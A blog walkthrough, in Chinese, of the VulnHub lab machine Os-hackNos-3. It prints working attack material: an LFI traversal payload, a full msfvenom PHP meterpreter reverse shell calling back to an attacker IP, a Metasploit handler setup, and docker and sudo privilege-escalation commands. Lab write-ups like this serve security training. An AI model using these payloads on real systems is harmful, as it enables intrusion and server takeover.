vulnhub靶机Os-hackNos-3

vulnhub-Os-hackNos-3

知识点:

  • nmap
  • dirbuster
  • cewl
  • msfvenom
  • metasploit
  • docker提权、sudo提权、suid提取

环境搭建

  • 难度:中级
  • 需要获取俩个flag
1
2
3
4
5
6
7
8
9
难度:中级

标记:2标记第一个用户和第二个根

学习:Web应用程序| 枚举 特权提升

网站:www.hacknos.com

联系我们:@rahul_gehlaut

靶机网卡配置

通过netplan设置网络。

1.1在开机时按下Shift键进入以下界面
在这里插入图片描述
1.2在此页面按下e键,进入如下界面
在这里插入图片描述
1.3将ro 替换为 rw signie init=/bin/bash
在这里插入图片描述
1.4按下Ctrl键+X键,进入如下页面
在这里插入图片描述
1.5查看当前网卡IP信息 ip a

1592824440957

1.6ifconfig -a看到有一块ens33的网卡,但是没有生效。
vim /etc/netplan/50-cloud-init.yaml
将enp0s3改为ens33

重启即可获得ip

信息收集

主机发现

1
nmap -sP 192.168.211.1/24

1593227037802

1
192.168.211.156

扫描开放端口

1
nmap -A 192.168.211.156 -p 1-65535

1593227239763

访问80端口,并没有什么发现
1593227222119

使用dirbuster进行目录扫描

1593227334085

得到websec和script两个目录
1593227391679

script目录是一些php文件,没有可利用的地方

websec目录是一个web界面
1593229084703

使用dirb进行网站目录扫描
1593229133501

得到了网站后台地址,访问发现是一个开源cms-Gila CMS
1593229217020

去搜索下该cms存在哪些漏洞
找到一个xss和LFI漏洞,但是LFI需要进行登录才能利用
1593231107732

网站用户名为用户邮箱,在 首页可以找到contact@hacknos.com。使用该邮箱进行爆破
既然网站泄露了用户邮箱,猜测应该也泄露了密码,可以使用cewl生产密码

1
cewl http://192.168.211.156/websec/ -w websec.txt

一共生成了50个密码左右,但是进行爆破的时候发现错误5次便会封ip,之后要等一分钟才能再次输入
之后手动进行测试,得到密码为Securityx。首页上很大几个字母也应该能猜到

1593232238768

GETSHELL

进入 后台之后,使用LFI的payload进行利用,虽然失败了但是直接找到了网站目录的文件

1
fm/?f=src../../../../../../../../../etc/passwd

1593232386706

这些文件直接可以修改

直接反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp lhosts=192.168.211.151 lport=8888 R > shell100.php
1
<?php  error_reporting(0); $ip = '192.168.211.151'; $port = 8888; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

将生成的payload写入index.php页面中

使用nc监听十分不稳定,这里使用msf进行监听

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.211.151
set lport 8888
run

1593241206758

访问admin/index.php即可获得shell

1
python -c "import pty;pty.spawn('/bin/bash')"

1593241326537

/home/blackdevil目录里面发现第一个flag

提权

sudo -l

1593311523641

发现/not/easy/What/are/you/looking目录,但是里面没有可利用的信息
查看具有suid权限的命令

1
find / -perm -u=s -type f 2>/dev/null

1593311762103

有很多命令,但是都不能进行提取
查看定时任务
crontab -l

1593312045739

没有
查看隐藏文件

1
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null

1593312104323

发现用户blackdevil属于docker组

查看sytem配置

1
2
whereis systemd
cd /usr/lib/systemd/system

1593313237094

发现一个debug-shell.service文件
1593313306379

尝试使用ExecStart进行利用
如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的.service文件并更改run()命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。

首先让root身份来创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限。

1
2
3
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh

#-e为换行显示

但是后面考虑到www-data 用户没有home目录,所以放弃了

最后看wp发现在/var/local/database文件中有一个加密密码

1593314424719

在线解码http://www.spammimic.com/spreadsheet.php?action=decode解密得到Security@x@

su blackdevil
1593314657549

sudo -l之后发现所有命令均具有sudo权限,直接sudo su即可获得root权限
1593314755700

由于blackdevil属于docker组,所以也可以利用docker来进行提取

1
2
#通过拉取镜像的方式来获得一个shell
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

1593315498486

1593315662818

还有很多suid命令可以进行提取,登陆上blackdevil用户之后提取的方法就很多了,只不过密码比较难找。。

参考文章:https://www.freesion.com/article/8133270792/

文章作者:CyzCc
最后更新:2020年06月29日 09:06:20
原始链接:https://cyzcc.vip/2020/06/29/Os-hackNos-3/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------